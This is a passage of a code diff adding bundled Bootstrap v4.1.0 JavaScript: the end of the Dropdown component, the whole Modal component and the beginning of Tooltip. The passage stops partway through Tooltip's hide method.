+      _proto._detectNavbar = function _detectNavbar() {
+        return $$$1(this._element).closest('.navbar').length > 0;
+      };
+
+      _proto._getPopperConfig = function _getPopperConfig() {
+        var _this2 = this;
+
+        var offsetConf = {};
+
+        if (typeof this._config.offset === 'function') {
+          offsetConf.fn = function (data) {
+            data.offsets = _objectSpread({}, data.offsets, _this2._config.offset(data.offsets) || {});
+            return data;
+          };
+        } else {
+          offsetConf.offset = this._config.offset;
+        }
+
+        var popperConfig = {
+          placement: this._getPlacement(),
+          modifiers: {
+            offset: offsetConf,
+            flip: {
+              enabled: this._config.flip
+            },
+            preventOverflow: {
+              boundariesElement: this._config.boundary
+            }
+          } // Disable Popper.js if we have a static display
+
+        };
+
+        if (this._config.display === 'static') {
+          popperConfig.modifiers.applyStyle = {
+            enabled: false
+          };
+        }
+
+        return popperConfig;
+      }; // Static
+
+
+      Dropdown._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = typeof config === 'object' ? config : null;
+
+          if (!data) {
+            data = new Dropdown(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      Dropdown._clearMenus = function _clearMenus(event) {
+        if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH || event.type === 'keyup' && event.which !== TAB_KEYCODE)) {
+          return;
+        }
+
+        var toggles = $$$1.makeArray($$$1(Selector.DATA_TOGGLE));
+
+        for (var i = 0; i < toggles.length; i++) {
+          var parent = Dropdown._getParentFromElement(toggles[i]);
+
+          var context = $$$1(toggles[i]).data(DATA_KEY);
+          var relatedTarget = {
+            relatedTarget: toggles[i]
+          };
+
+          if (!context) {
+            continue;
+          }
+
+          var dropdownMenu = context._menu;
+
+          if (!$$$1(parent).hasClass(ClassName.SHOW)) {
+            continue;
+          }
+
+          if (event && (event.type === 'click' && /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) && $$$1.contains(parent, event.target)) {
+            continue;
+          }
+
+          var hideEvent = $$$1.Event(Event.HIDE, relatedTarget);
+          $$$1(parent).trigger(hideEvent);
+
+          if (hideEvent.isDefaultPrevented()) {
+            continue;
+          } // If this is a touch-enabled device we remove the extra
+          // empty mouseover listeners we added for iOS support
+
+
+          if ('ontouchstart' in document.documentElement) {
+            $$$1(document.body).children().off('mouseover', null, $$$1.noop);
+          }
+
+          toggles[i].setAttribute('aria-expanded', 'false');
+          $$$1(dropdownMenu).removeClass(ClassName.SHOW);
+          $$$1(parent).removeClass(ClassName.SHOW).trigger($$$1.Event(Event.HIDDEN, relatedTarget));
+        }
+      };
+
+      Dropdown._getParentFromElement = function _getParentFromElement(element) {
+        var parent;
+        var selector = Util.getSelectorFromElement(element);
+
+        if (selector) {
+          parent = $$$1(selector)[0];
+        }
+
+        return parent || element.parentNode;
+      }; // eslint-disable-next-line complexity
+
+
+      Dropdown._dataApiKeydownHandler = function _dataApiKeydownHandler(event) {
+        // If not input/textarea:
+        //  - And not a key in REGEXP_KEYDOWN => not a dropdown command
+        // If input/textarea:
+        //  - If space key => not a dropdown command
+        //  - If key is other than escape
+        //    - If key is not up or down => not a dropdown command
+        //    - If trigger inside the menu => not a dropdown command
+        if (/input|textarea/i.test(event.target.tagName) ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE && (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE || $$$1(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {
+          return;
+        }
+
+        event.preventDefault();
+        event.stopPropagation();
+
+        if (this.disabled || $$$1(this).hasClass(ClassName.DISABLED)) {
+          return;
+        }
+
+        var parent = Dropdown._getParentFromElement(this);
+
+        var isActive = $$$1(parent).hasClass(ClassName.SHOW);
+
+        if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) || isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {
+          if (event.which === ESCAPE_KEYCODE) {
+            var toggle = $$$1(parent).find(Selector.DATA_TOGGLE)[0];
+            $$$1(toggle).trigger('focus');
+          }
+
+          $$$1(this).trigger('click');
+          return;
+        }
+
+        var items = $$$1(parent).find(Selector.VISIBLE_ITEMS).get();
+
+        if (items.length === 0) {
+          return;
+        }
+
+        var index = items.indexOf(event.target);
+
+        if (event.which === ARROW_UP_KEYCODE && index > 0) {
+          // Up
+          index--;
+        }
+
+        if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) {
+          // Down
+          index++;
+        }
+
+        if (index < 0) {
+          index = 0;
+        }
+
+        items[index].focus();
+      };
+
+      _createClass(Dropdown, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }, {
+        key: "DefaultType",
+        get: function get() {
+          return DefaultType;
+        }
+      }]);
+
+      return Dropdown;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler).on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler).on(Event.CLICK_DATA_API + " " + Event.KEYUP_DATA_API, Dropdown._clearMenus).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {
+      event.preventDefault();
+      event.stopPropagation();
+
+      Dropdown._jQueryInterface.call($$$1(this), 'toggle');
+    }).on(Event.CLICK_DATA_API, Selector.FORM_CHILD, function (e) {
+      e.stopPropagation();
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Dropdown._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Dropdown;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Dropdown._jQueryInterface;
+    };
+
+    return Dropdown;
+  }($, Popper);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): modal.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Modal = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'modal';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.modal';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key
+
+    var Default = {
+      backdrop: true,
+      keyboard: true,
+      focus: true,
+      show: true
+    };
+    var DefaultType = {
+      backdrop: '(boolean|string)',
+      keyboard: 'boolean',
+      focus: 'boolean',
+      show: 'boolean'
+    };
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      FOCUSIN: "focusin" + EVENT_KEY,
+      RESIZE: "resize" + EVENT_KEY,
+      CLICK_DISMISS: "click.dismiss" + EVENT_KEY,
+      KEYDOWN_DISMISS: "keydown.dismiss" + EVENT_KEY,
+      MOUSEUP_DISMISS: "mouseup.dismiss" + EVENT_KEY,
+      MOUSEDOWN_DISMISS: "mousedown.dismiss" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      SCROLLBAR_MEASURER: 'modal-scrollbar-measure',
+      BACKDROP: 'modal-backdrop',
+      OPEN: 'modal-open',
+      FADE: 'fade',
+      SHOW: 'show'
+    };
+    var Selector = {
+      DIALOG: '.modal-dialog',
+      DATA_TOGGLE: '[data-toggle="modal"]',
+      DATA_DISMISS: '[data-dismiss="modal"]',
+      FIXED_CONTENT: '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',
+      STICKY_CONTENT: '.sticky-top',
+      NAVBAR_TOGGLER: '.navbar-toggler'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Modal =
+    /*#__PURE__*/
+    function () {
+      function Modal(element, config) {
+        this._config = this._getConfig(config);
+        this._element = element;
+        this._dialog = $$$1(element).find(Selector.DIALOG)[0];
+        this._backdrop = null;
+        this._isShown = false;
+        this._isBodyOverflowing = false;
+        this._ignoreBackdropClick = false;
+        this._scrollbarWidth = 0;
+      } // Getters
+
+
+      var _proto = Modal.prototype;
+
+      // Public
+      _proto.toggle = function toggle(relatedTarget) {
+        return this._isShown ? this.hide() : this.show(relatedTarget);
+      };
+
+      _proto.show = function show(relatedTarget) {
+        var _this = this;
+
+        if (this._isTransitioning || this._isShown) {
+          return;
+        }
+
+        if ($$$1(this._element).hasClass(ClassName.FADE)) {
+          this._isTransitioning = true;
+        }
+
+        var showEvent = $$$1.Event(Event.SHOW, {
+          relatedTarget: relatedTarget
+        });
+        $$$1(this._element).trigger(showEvent);
+
+        if (this._isShown || showEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        this._isShown = true;
+
+        this._checkScrollbar();
+
+        this._setScrollbar();
+
+        this._adjustDialog();
+
+        $$$1(document.body).addClass(ClassName.OPEN);
+
+        this._setEscapeEvent();
+
+        this._setResizeEvent();
+
+        $$$1(this._element).on(Event.CLICK_DISMISS, Selector.DATA_DISMISS, function (event) {
+          return _this.hide(event);
+        });
+        $$$1(this._dialog).on(Event.MOUSEDOWN_DISMISS, function () {
+          $$$1(_this._element).one(Event.MOUSEUP_DISMISS, function (event) {
+            if ($$$1(event.target).is(_this._element)) {
+              _this._ignoreBackdropClick = true;
+            }
+          });
+        });
+
+        this._showBackdrop(function () {
+          return _this._showElement(relatedTarget);
+        });
+      };
+
+      _proto.hide = function hide(event) {
+        var _this2 = this;
+
+        if (event) {
+          event.preventDefault();
+        }
+
+        if (this._isTransitioning || !this._isShown) {
+          return;
+        }
+
+        var hideEvent = $$$1.Event(Event.HIDE);
+        $$$1(this._element).trigger(hideEvent);
+
+        if (!this._isShown || hideEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        this._isShown = false;
+        var transition = $$$1(this._element).hasClass(ClassName.FADE);
+
+        if (transition) {
+          this._isTransitioning = true;
+        }
+
+        this._setEscapeEvent();
+
+        this._setResizeEvent();
+
+        $$$1(document).off(Event.FOCUSIN);
+        $$$1(this._element).removeClass(ClassName.SHOW);
+        $$$1(this._element).off(Event.CLICK_DISMISS);
+        $$$1(this._dialog).off(Event.MOUSEDOWN_DISMISS);
+
+        if (transition) {
+          var transitionDuration = Util.getTransitionDurationFromElement(this._element);
+          $$$1(this._element).one(Util.TRANSITION_END, function (event) {
+            return _this2._hideModal(event);
+          }).emulateTransitionEnd(transitionDuration);
+        } else {
+          this._hideModal();
+        }
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        $$$1(window, document, this._element, this._backdrop).off(EVENT_KEY);
+        this._config = null;
+        this._element = null;
+        this._dialog = null;
+        this._backdrop = null;
+        this._isShown = null;
+        this._isBodyOverflowing = null;
+        this._ignoreBackdropClick = null;
+        this._scrollbarWidth = null;
+      };
+
+      _proto.handleUpdate = function handleUpdate() {
+        this._adjustDialog();
+      }; // Private
+
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, Default, config);
+        Util.typeCheckConfig(NAME, config, DefaultType);
+        return config;
+      };
+
+      _proto._showElement = function _showElement(relatedTarget) {
+        var _this3 = this;
+
+        var transition = $$$1(this._element).hasClass(ClassName.FADE);
+
+        if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {
+          // Don't move modal's DOM position
+          document.body.appendChild(this._element);
+        }
+
+        this._element.style.display = 'block';
+
+        this._element.removeAttribute('aria-hidden');
+
+        this._element.scrollTop = 0;
+
+        if (transition) {
+          Util.reflow(this._element);
+        }
+
+        $$$1(this._element).addClass(ClassName.SHOW);
+
+        if (this._config.focus) {
+          this._enforceFocus();
+        }
+
+        var shownEvent = $$$1.Event(Event.SHOWN, {
+          relatedTarget: relatedTarget
+        });
+
+        var transitionComplete = function transitionComplete() {
+          if (_this3._config.focus) {
+            _this3._element.focus();
+          }
+
+          _this3._isTransitioning = false;
+          $$$1(_this3._element).trigger(shownEvent);
+        };
+
+        if (transition) {
+          var transitionDuration = Util.getTransitionDurationFromElement(this._element);
+          $$$1(this._dialog).one(Util.TRANSITION_END, transitionComplete).emulateTransitionEnd(transitionDuration);
+        } else {
+          transitionComplete();
+        }
+      };
+
+      _proto._enforceFocus = function _enforceFocus() {
+        var _this4 = this;
+
+        $$$1(document).off(Event.FOCUSIN) // Guard against infinite focus loop
+        .on(Event.FOCUSIN, function (event) {
+          if (document !== event.target && _this4._element !== event.target && $$$1(_this4._element).has(event.target).length === 0) {
+            _this4._element.focus();
+          }
+        });
+      };
+
+      _proto._setEscapeEvent = function _setEscapeEvent() {
+        var _this5 = this;
+
+        if (this._isShown && this._config.keyboard) {
+          $$$1(this._element).on(Event.KEYDOWN_DISMISS, function (event) {
+            if (event.which === ESCAPE_KEYCODE) {
+              event.preventDefault();
+
+              _this5.hide();
+            }
+          });
+        } else if (!this._isShown) {
+          $$$1(this._element).off(Event.KEYDOWN_DISMISS);
+        }
+      };
+
+      _proto._setResizeEvent = function _setResizeEvent() {
+        var _this6 = this;
+
+        if (this._isShown) {
+          $$$1(window).on(Event.RESIZE, function (event) {
+            return _this6.handleUpdate(event);
+          });
+        } else {
+          $$$1(window).off(Event.RESIZE);
+        }
+      };
+
+      _proto._hideModal = function _hideModal() {
+        var _this7 = this;
+
+        this._element.style.display = 'none';
+
+        this._element.setAttribute('aria-hidden', true);
+
+        this._isTransitioning = false;
+
+        this._showBackdrop(function () {
+          $$$1(document.body).removeClass(ClassName.OPEN);
+
+          _this7._resetAdjustments();
+
+          _this7._resetScrollbar();
+
+          $$$1(_this7._element).trigger(Event.HIDDEN);
+        });
+      };
+
+      _proto._removeBackdrop = function _removeBackdrop() {
+        if (this._backdrop) {
+          $$$1(this._backdrop).remove();
+          this._backdrop = null;
+        }
+      };
+
+      _proto._showBackdrop = function _showBackdrop(callback) {
+        var _this8 = this;
+
+        var animate = $$$1(this._element).hasClass(ClassName.FADE) ? ClassName.FADE : '';
+
+        if (this._isShown && this._config.backdrop) {
+          this._backdrop = document.createElement('div');
+          this._backdrop.className = ClassName.BACKDROP;
+
+          if (animate) {
+            $$$1(this._backdrop).addClass(animate);
+          }
+
+          $$$1(this._backdrop).appendTo(document.body);
+          $$$1(this._element).on(Event.CLICK_DISMISS, function (event) {
+            if (_this8._ignoreBackdropClick) {
+              _this8._ignoreBackdropClick = false;
+              return;
+            }
+
+            if (event.target !== event.currentTarget) {
+              return;
+            }
+
+            if (_this8._config.backdrop === 'static') {
+              _this8._element.focus();
+            } else {
+              _this8.hide();
+            }
+          });
+
+          if (animate) {
+            Util.reflow(this._backdrop);
+          }
+
+          $$$1(this._backdrop).addClass(ClassName.SHOW);
+
+          if (!callback) {
+            return;
+          }
+
+          if (!animate) {
+            callback();
+            return;
+          }
+
+          var backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop);
+          $$$1(this._backdrop).one(Util.TRANSITION_END, callback).emulateTransitionEnd(backdropTransitionDuration);
+        } else if (!this._isShown && this._backdrop) {
+          $$$1(this._backdrop).removeClass(ClassName.SHOW);
+
+          var callbackRemove = function callbackRemove() {
+            _this8._removeBackdrop();
+
+            if (callback) {
+              callback();
+            }
+          };
+
+          if ($$$1(this._element).hasClass(ClassName.FADE)) {
+            var _backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop);
+
+            $$$1(this._backdrop).one(Util.TRANSITION_END, callbackRemove).emulateTransitionEnd(_backdropTransitionDuration);
+          } else {
+            callbackRemove();
+          }
+        } else if (callback) {
+          callback();
+        }
+      }; // ----------------------------------------------------------------------
+      // the following methods are used to handle overflowing modals
+      // todo (fat): these should probably be refactored out of modal.js
+      // ----------------------------------------------------------------------
+
+
+      _proto._adjustDialog = function _adjustDialog() {
+        var isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight;
+
+        if (!this._isBodyOverflowing && isModalOverflowing) {
+          this._element.style.paddingLeft = this._scrollbarWidth + "px";
+        }
+
+        if (this._isBodyOverflowing && !isModalOverflowing) {
+          this._element.style.paddingRight = this._scrollbarWidth + "px";
+        }
+      };
+
+      _proto._resetAdjustments = function _resetAdjustments() {
+        this._element.style.paddingLeft = '';
+        this._element.style.paddingRight = '';
+      };
+
+      _proto._checkScrollbar = function _checkScrollbar() {
+        var rect = document.body.getBoundingClientRect();
+        this._isBodyOverflowing = rect.left + rect.right < window.innerWidth;
+        this._scrollbarWidth = this._getScrollbarWidth();
+      };
+
+      _proto._setScrollbar = function _setScrollbar() {
+        var _this9 = this;
+
+        if (this._isBodyOverflowing) {
+          // Note: DOMNode.style.paddingRight returns the actual value or '' if not set
+          //   while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set
+          // Adjust fixed content padding
+          $$$1(Selector.FIXED_CONTENT).each(function (index, element) {
+            var actualPadding = $$$1(element)[0].style.paddingRight;
+            var calculatedPadding = $$$1(element).css('padding-right');
+            $$$1(element).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + _this9._scrollbarWidth + "px");
+          }); // Adjust sticky content margin
+
+          $$$1(Selector.STICKY_CONTENT).each(function (index, element) {
+            var actualMargin = $$$1(element)[0].style.marginRight;
+            var calculatedMargin = $$$1(element).css('margin-right');
+            $$$1(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) - _this9._scrollbarWidth + "px");
+          }); // Adjust navbar-toggler margin
+
+          $$$1(Selector.NAVBAR_TOGGLER).each(function (index, element) {
+            var actualMargin = $$$1(element)[0].style.marginRight;
+            var calculatedMargin = $$$1(element).css('margin-right');
+            $$$1(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) + _this9._scrollbarWidth + "px");
+          }); // Adjust body padding
+
+          var actualPadding = document.body.style.paddingRight;
+          var calculatedPadding = $$$1(document.body).css('padding-right');
+          $$$1(document.body).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + this._scrollbarWidth + "px");
+        }
+      };
+
+      _proto._resetScrollbar = function _resetScrollbar() {
+        // Restore fixed content padding
+        $$$1(Selector.FIXED_CONTENT).each(function (index, element) {
+          var padding = $$$1(element).data('padding-right');
+
+          if (typeof padding !== 'undefined') {
+            $$$1(element).css('padding-right', padding).removeData('padding-right');
+          }
+        }); // Restore sticky content and navbar-toggler margin
+
+        $$$1(Selector.STICKY_CONTENT + ", " + Selector.NAVBAR_TOGGLER).each(function (index, element) {
+          var margin = $$$1(element).data('margin-right');
+
+          if (typeof margin !== 'undefined') {
+            $$$1(element).css('margin-right', margin).removeData('margin-right');
+          }
+        }); // Restore body padding
+
+        var padding = $$$1(document.body).data('padding-right');
+
+        if (typeof padding !== 'undefined') {
+          $$$1(document.body).css('padding-right', padding).removeData('padding-right');
+        }
+      };
+
+      _proto._getScrollbarWidth = function _getScrollbarWidth() {
+        // thx d.walsh
+        var scrollDiv = document.createElement('div');
+        scrollDiv.className = ClassName.SCROLLBAR_MEASURER;
+        document.body.appendChild(scrollDiv);
+        var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
+        document.body.removeChild(scrollDiv);
+        return scrollbarWidth;
+      }; // Static
+
+
+      Modal._jQueryInterface = function _jQueryInterface(config, relatedTarget) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = _objectSpread({}, Modal.Default, $$$1(this).data(), typeof config === 'object' && config);
+
+          if (!data) {
+            data = new Modal(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config](relatedTarget);
+          } else if (_config.show) {
+            data.show(relatedTarget);
+          }
+        });
+      };
+
+      _createClass(Modal, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }]);
+
+      return Modal;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {
+      var _this10 = this;
+
+      var target;
+      var selector = Util.getSelectorFromElement(this);
+
+      if (selector) {
+        target = $$$1(selector)[0];
+      }
+
+      var config = $$$1(target).data(DATA_KEY) ? 'toggle' : _objectSpread({}, $$$1(target).data(), $$$1(this).data());
+
+      if (this.tagName === 'A' || this.tagName === 'AREA') {
+        event.preventDefault();
+      }
+
+      var $target = $$$1(target).one(Event.SHOW, function (showEvent) {
+        if (showEvent.isDefaultPrevented()) {
+          // Only register focus restorer if modal will actually get shown
+          return;
+        }
+
+        $target.one(Event.HIDDEN, function () {
+          if ($$$1(_this10).is(':visible')) {
+            _this10.focus();
+          }
+        });
+      });
+
+      Modal._jQueryInterface.call($$$1(target), config, this);
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Modal._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Modal;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Modal._jQueryInterface;
+    };
+
+    return Modal;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): tooltip.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Tooltip = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'tooltip';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.tooltip';
+    var EVENT_KEY = "." + DATA_KEY;
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var CLASS_PREFIX = 'bs-tooltip';
+    var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g');
+    var DefaultType = {
+      animation: 'boolean',
+      template: 'string',
+      title: '(string|element|function)',
+      trigger: 'string',
+      delay: '(number|object)',
+      html: 'boolean',
+      selector: '(string|boolean)',
+      placement: '(string|function)',
+      offset: '(number|string)',
+      container: '(string|element|boolean)',
+      fallbackPlacement: '(string|array)',
+      boundary: '(string|element)'
+    };
+    var AttachmentMap = {
+      AUTO: 'auto',
+      TOP: 'top',
+      RIGHT: 'right',
+      BOTTOM: 'bottom',
+      LEFT: 'left'
+    };
+    var Default = {
+      animation: true,
+      template: '<div class="tooltip" role="tooltip">' + '<div class="arrow"></div>' + '<div class="tooltip-inner"></div></div>',
+      trigger: 'hover focus',
+      title: '',
+      delay: 0,
+      html: false,
+      selector: false,
+      placement: 'top',
+      offset: 0,
+      container: false,
+      fallbackPlacement: 'flip',
+      boundary: 'scrollParent'
+    };
+    var HoverState = {
+      SHOW: 'show',
+      OUT: 'out'
+    };
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      INSERTED: "inserted" + EVENT_KEY,
+      CLICK: "click" + EVENT_KEY,
+      FOCUSIN: "focusin" + EVENT_KEY,
+      FOCUSOUT: "focusout" + EVENT_KEY,
+      MOUSEENTER: "mouseenter" + EVENT_KEY,
+      MOUSELEAVE: "mouseleave" + EVENT_KEY
+    };
+    var ClassName = {
+      FADE: 'fade',
+      SHOW: 'show'
+    };
+    var Selector = {
+      TOOLTIP: '.tooltip',
+      TOOLTIP_INNER: '.tooltip-inner',
+      ARROW: '.arrow'
+    };
+    var Trigger = {
+      HOVER: 'hover',
+      FOCUS: 'focus',
+      CLICK: 'click',
+      MANUAL: 'manual'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Tooltip =
+    /*#__PURE__*/
+    function () {
+      function Tooltip(element, config) {
+        /**
+         * Check for Popper dependency
+         * Popper - https://popper.js.org
+         */
+        if (typeof Popper === 'undefined') {
+          throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)');
+        } // private
+
+
+        this._isEnabled = true;
+        this._timeout = 0;
+        this._hoverState = '';
+        this._activeTrigger = {};
+        this._popper = null; // Protected
+
+        this.element = element;
+        this.config = this._getConfig(config);
+        this.tip = null;
+
+        this._setListeners();
+      } // Getters
+
+
+      var _proto = Tooltip.prototype;
+
+      // Public
+      _proto.enable = function enable() {
+        this._isEnabled = true;
+      };
+
+      _proto.disable = function disable() {
+        this._isEnabled = false;
+      };
+
+      _proto.toggleEnabled = function toggleEnabled() {
+        this._isEnabled = !this._isEnabled;
+      };
+
+      _proto.toggle = function toggle(event) {
+        if (!this._isEnabled) {
+          return;
+        }
+
+        if (event) {
+          var dataKey = this.constructor.DATA_KEY;
+          var context = $$$1(event.currentTarget).data(dataKey);
+
+          if (!context) {
+            context = new this.constructor(event.currentTarget, this._getDelegateConfig());
+            $$$1(event.currentTarget).data(dataKey, context);
+          }
+
+          context._activeTrigger.click = !context._activeTrigger.click;
+
+          if (context._isWithActiveTrigger()) {
+            context._enter(null, context);
+          } else {
+            context._leave(null, context);
+          }
+        } else {
+          if ($$$1(this.getTipElement()).hasClass(ClassName.SHOW)) {
+            this._leave(null, this);
+
+            return;
+          }
+
+          this._enter(null, this);
+        }
+      };
+
+      _proto.dispose = function dispose() {
+        clearTimeout(this._timeout);
+        $$$1.removeData(this.element, this.constructor.DATA_KEY);
+        $$$1(this.element).off(this.constructor.EVENT_KEY);
+        $$$1(this.element).closest('.modal').off('hide.bs.modal');
+
+        if (this.tip) {
+          $$$1(this.tip).remove();
+        }
+
+        this._isEnabled = null;
+        this._timeout = null;
+        this._hoverState = null;
+        this._activeTrigger = null;
+
+        if (this._popper !== null) {
+          this._popper.destroy();
+        }
+
+        this._popper = null;
+        this.element = null;
+        this.config = null;
+        this.tip = null;
+      };
+
+      _proto.show = function show() {
+        var _this = this;
+
+        if ($$$1(this.element).css('display') === 'none') {
+          throw new Error('Please use show on visible elements');
+        }
+
+        var showEvent = $$$1.Event(this.constructor.Event.SHOW);
+
+        if (this.isWithContent() && this._isEnabled) {
+          $$$1(this.element).trigger(showEvent);
+          var isInTheDom = $$$1.contains(this.element.ownerDocument.documentElement, this.element);
+
+          if (showEvent.isDefaultPrevented() || !isInTheDom) {
+            return;
+          }
+
+          var tip = this.getTipElement();
+          var tipId = Util.getUID(this.constructor.NAME);
+          tip.setAttribute('id', tipId);
+          this.element.setAttribute('aria-describedby', tipId);
+          this.setContent();
+
+          if (this.config.animation) {
+            $$$1(tip).addClass(ClassName.FADE);
+          }
+
+          var placement = typeof this.config.placement === 'function' ? this.config.placement.call(this, tip, this.element) : this.config.placement;
+
+          var attachment = this._getAttachment(placement);
+
+          this.addAttachmentClass(attachment);
+          var container = this.config.container === false ? document.body : $$$1(this.config.container);
+          $$$1(tip).data(this.constructor.DATA_KEY, this);
+
+          if (!$$$1.contains(this.element.ownerDocument.documentElement, this.tip)) {
+            $$$1(tip).appendTo(container);
+          }
+
+          $$$1(this.element).trigger(this.constructor.Event.INSERTED);
+          this._popper = new Popper(this.element, tip, {
+            placement: attachment,
+            modifiers: {
+              offset: {
+                offset: this.config.offset
+              },
+              flip: {
+                behavior: this.config.fallbackPlacement
+              },
+              arrow: {
+                element: Selector.ARROW
+              },
+              preventOverflow: {
+                boundariesElement: this.config.boundary
+              }
+            },
+            onCreate: function onCreate(data) {
+              if (data.originalPlacement !== data.placement) {
+                _this._handlePopperPlacementChange(data);
+              }
+            },
+            onUpdate: function onUpdate(data) {
+              _this._handlePopperPlacementChange(data);
+            }
+          });
+          $$$1(tip).addClass(ClassName.SHOW); // If this is a touch-enabled device we add extra
+          // empty mouseover listeners to the body's immediate children;
+          // only needed because of broken event delegation on iOS
+          // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html
+
+          if ('ontouchstart' in document.documentElement) {
+            $$$1(document.body).children().on('mouseover', null, $$$1.noop);
+          }
+
+          var complete = function complete() {
+            if (_this.config.animation) {
+              _this._fixTransition();
+            }
+
+            var prevHoverState = _this._hoverState;
+            _this._hoverState = null;
+            $$$1(_this.element).trigger(_this.constructor.Event.SHOWN);
+
+            if (prevHoverState === HoverState.OUT) {
+              _this._leave(null, _this);
+            }
+          };
+
+          if ($$$1(this.tip).hasClass(ClassName.FADE)) {
+            var transitionDuration = Util.getTransitionDurationFromElement(this.tip);
+            $$$1(this.tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+          } else {
+            complete();
+          }
+        }
+      };
+
+      _proto.hide = function hide(callback) {
+        var _this2 = this;
+
+        var tip = this.getTipElement();
+        var hideEvent = $$$1.Event(this.constructor.Event.HIDE);
+
+        var complete = function complete() {
+          if (_this2._hoverState !== HoverState.SHOW && tip.parentNode) {
+            tip.parentNode.removeChild(tip);
+          }
+
+          _this2._cleanTipClass();
+
+          _this2.element.removeAttribute('aria-describedby');
+
